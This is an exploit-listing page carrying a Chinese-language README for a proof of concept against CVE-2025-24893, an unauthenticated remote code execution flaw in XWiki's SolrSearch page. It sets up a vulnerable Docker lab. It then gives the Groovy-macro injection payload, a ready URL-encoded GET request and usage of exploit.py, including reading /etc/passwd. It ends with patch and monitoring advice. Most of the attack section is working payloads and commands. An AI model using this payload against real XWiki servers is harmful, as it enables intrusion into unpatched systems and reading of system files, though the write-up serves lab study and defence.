Sploitus

Exploit for xwiki

kitploit · 2026-09-13

Exploit Code

MARKDOWN127 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ENDUSDKSLA-XWIKI-CVE-2025-24893
# XWiki SolrSearch 未认证 RCE (CVE-2025-24893)

* * *

### 贡献者

  * 白帽学校 4期 25班 林斗妍(@endusdksla)



## 摘要

  * XWiki 在服务器端解析并渲染 wiki 语法和宏。问题在于 `Main.SolrSearch` 页面不仅对访客开放,而且还将用户输入的 `text` 参数在没有充分验证的情况下作为 XWiki 语法进行评估。
  * 攻击者可以在 `text` 中插入 `{{groovy}}` 宏,从而在服务器上执行任意 Groovy 代码,并通过 `"command".execute()` 调用操作系统命令。此漏洞无需额外登录或令牌,仅通过单个 GET 请求即可利用。



## 环境配置

本目录使用官方 XWiki 独立发行版 `15.10.1` 和 Java 17 运行时构建了脆弱环境。

项| 内容  
---|---  
CVE| `CVE-2025-24893`  
产品| XWiki Platform  
受影响版本| `>= 5.3-milestone-2, < 15.10.11` / `>= 16.0.0-rc-1, < 16.4.1`  
修复版本| `15.10.11`, `16.4.1`  
漏洞类型| Eval Injection -> 未认证 RCE  
是否需要认证| 不需要  
影响| 可执行服务器命令  
  
## 脆弱条件

  * XWiki 版本需为补丁之前的版本。
  * `Main.SolrSearch` 端点必须对访客可访问。
  * 服务器必须能够将 `text` 参数作为 XWiki 语法进行评估。
  * `groovy` 宏必须处于可执行状态。



本环境使用 XWiki `15.10.1`,因此满足上述条件。

## 重现步骤

root@kitploit:~
    
    
    docker compose up -d --build
    

初次运行时将自动安装,可能需要几分钟。(大约需要 6~7 分钟)

root@kitploit:~
    
    
    docker compose ps
    docker inspect -f '{{json .State.Health}}' xwiki-web
    

当上述命令的结果中出现 `"Status":"healthy"` 状态时,环境配置完成,即可进行利用。

root@kitploit:~
    
    
    pip install requests
    

在运行 exploit.py 之前安装依赖。

## PoC 代码

核心 payload 如下。

root@kitploit:~
    
    
    }}}{{async async=false}}{{groovy}}println("id".execute().text){{/groovy}}{{/async}}
    

上述 payload 插入到 `text` 参数中,并在 `Main.SolrSearch` 页面进行评估。结果,`println("id".execute().text)` 在服务器上执行,命令执行结果会反射到 RSS 响应正文中。

完整的执行脚本请参考 exploit.py。

root@kitploit:~
    
    
    python3 exploit.py
    

运行上述 Python 代码即可复现 PoC。默认命令为 id。

root@kitploit:~
    
    
    python3 exploit.py -c "cat /etc/passwd"
    

若要执行其他命令,请像上面那样传递参数。

或者也可以直接发送 URL 请求。(输出 id 的 payload)

root@kitploit:~
    
    
    http://localhost:1337/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync+async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22id%22.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D
    

## 执行结果

![poc_id](https://assets.kitploit.com/production/public/readmes/25141/41f841be904990e7308a397b5472859afcbe0ae93241ca9e085bf2906a122948.png) 在响应中返回 id 的情况

![poc_ls](https://assets.kitploit.com/production/public/readmes/25141/6491cddfa16a94c4b8d244ddde13835ac57b1c75dcf5caac6c96428ea13532d8.png) 查看当前目录文件

## 应对措施

  * 将 XWiki 更新至 `15.10.11` 或更高版本,或 `16.4.1` 或更高版本。
  * 检查对外暴露的 XWiki 实例的访客访问策略。
  * 最小化不必要的脚本/宏执行权限。
  * 监控可疑请求和 `SolrSearch` 访问日志。



## 参考

  * NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-24893
  * GitHub Advisory: https://github.com/advisories/GHSA-rr6p-3pfg-562j